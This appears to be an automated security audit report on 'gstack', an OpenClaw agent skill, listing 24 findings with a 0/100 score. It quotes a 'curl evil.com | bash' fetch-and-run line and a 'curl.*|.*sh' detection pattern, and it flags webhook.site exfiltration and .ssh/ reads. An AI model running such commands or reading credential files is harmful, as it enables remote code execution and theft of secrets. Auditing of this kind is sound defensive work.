# Security Audit Report

## gstack

**Score:** 0/100  
**Risk Level:** High  
**Audited by:** garrytan  
**Files:** 86  
**Date:** 4/30/2026, 1:12:18 PM

**Findings:** 24  
- **Critical:** 3  
- **High:** 8  
- **Medium:** 11  
- **Low:** 1  
- **Info:** 1

**Source:** [gstack GitHub](https://github.com/garrytan/gstack)  
**SHA-256:** df84e3b26348...

gstack is an Other skill for the OpenClaw ecosystem, created by garrytan. ClawSecure audited this skill through our 3-Layer Audit Protocol covering all 10 OWASP ASI Top 10 categories. This skill received a security score of 0/100, indicating significant security concerns that require attention. The audit identified 24 findings, with issues detected across multiple security layers.

## 3-Layer Audit Protocol

### 🛡 ClawSecure Proprietary Engine
- Missing config.json - agent may not be properly configured  
- Suspicious domain detected: webhook.site (potential data exfiltration)  
- Attempts to access sensitive file: SOUL.md +4 more

**Critical Findings:** 9

### 🔒 Advanced Static & Behavioral Analysis
- Hidden file found: .gitlab-ci.yml. Hidden files may contain concealed configuration or data that should be reviewed.  
- Pipeline downloads data from the network and executes it: `curl evil.com | bash`. This is a remote code execution pattern.  
- Skill manifest does not include a 'license' field. Specifying a license helps users understand usage terms. +7 more

**Critical Findings:** 15

### 📦 Supply Chain Security
- No issues detected

**Status:** PASS (0 findings)

## Audit Findings

### CRITICAL - 3 Findings
- **F-001:** Pattern detected: from "child_process"  
  - **File:** bin/gstack-global-discover.ts:14
- **F-002:** Pattern detected: execSync(  
  - **File:** bin/gstack-global-discover.ts:163
- **F-003:** Suspicious domain detected: webhook.site (potential data...  
  - **File:** CHANGELOG.md

### HIGH - 8 Findings
- **F-001:** Pipeline downloads data from the network and executes it:...  
  - **File:** CHANGELOG.md:1
- **F-002:** Pattern detected: find ~/.gstack/sessions -mmin +120 -type...  
  - **File:** SKILL.md:12
- **F-003:** Attempts to access sensitive file: SOUL.md  
- **F-004:** Attempts to access sensitive file: .ssh/
- **F-005:** Attempts to access sensitive file: .ssh/
- **F-006:** Potentially dangerous code pattern detected: curl.*|.*sh  
  - **File:** CHANGELOG.md
- **F-007:** Potentially dangerous code pattern detected: curl.*|.*sh  
  - **File:** gstack-gbrain-install
- **F-008:** Potentially dangerous code pattern detected: exec(  
  - **File:** gstack-taste-update

### MEDIUM - 11 Findings
- **F-001:** Variable $_BRAIN_SYNC_MODE (line 6) flows to `sh` at line...  
  - **File:** SKILL.md:292
- **F-002:** Variable $tmpfile (line 4) flows to `curl` at line 5.  
  - **File:** SKILL.md:489
- **F-003:** Variable $BUN_VERSION (line 13) flows to `bash` at line 13.  
  - **File:** SKILL.md:497
- **F-004:** File 'SKILL.md' extension (.md) suggests one format but...  
  - **File:** autoplan/SKILL.md
- **F-005:** Variable $_BRAIN_SYNC_MODE (line 6) flows to `sh` at line...  
  - **File:** autoplan/SKILL.md:370
- **F-006:** Variable $_BRAIN_SYNC_MODE (line 6) flows to `sh` at line...  
  - **File:** benchmark-models/SKILL.md:314
- **F-007:** Variable $_BRAIN_SYNC_MODE (line 6) flows to `sh` at line...  
  - **File:** benchmark/SKILL.md:314
- **F-008:** Variable $tmpfile (line 4) flows to `curl` at line 5.
- **F-009:** Variable $BUN_VERSION (line 13) flows to `bash` at line 13.
- **F-010:** Missing config.json - agent may not be properly configured
- **F-011:** ReDoS vulnerability: Nested quantifiers (potential catastrophic backtracking) — "(X.Y.Z+1.0)*"

### LOW - 1 Finding
- **F-001:** Hidden file found: .gitlab-ci.yml. Hidden files may contain concealed configuration or data that should be reviewed.

### INFO - 1 Finding
- **F-001:** Skill manifest does not include a 'license' field...

## OWASP ASI Framework Coverage

- ASI01: Agent Goal Hijack
- ASI02: Tool Misuse
- ASI03: Identity & Privilege
- ASI04: Agentic Supply Chain
- ASI05: Unexpected Code Execution
- ASI06: Memory & Context
- ASI07: Insecure Inter-Agent Communication
- ASI08: Cascading Failures
- ASI09: Human-Agent Trust Exploitation
- ASI10: Rogue Agents

Categories highlighted were detected in this scan. ClawSecure provides comprehensive coverage across all 10 OWASP ASI Top 10 categories.

## Security Recommendations for gstack

- Pin npm dependencies to exact versions to prevent unauthorized code from entering your dependency tree.
- Add a config.json permissions manifest to declare necessary permissions for your OpenClaw skill.
- Review shell execution permissions to ensure commands are constructed from trusted inputs only.

## Context-Aware Analysis

This skill requests system-level capabilities which are standard for OpenClaw automation skills. ClawSecure's Context-Aware Intelligence analyzes capabilities in ecosystem context, differentiating real threats from normal agent functionality.

### Additional Info
- **Scanned on:** April 30, 2026
- gstack is one of 2,890+ agents audited by ClawSecure from the community-curated awesome-openclaw-skills list and the openclaw/skills repository.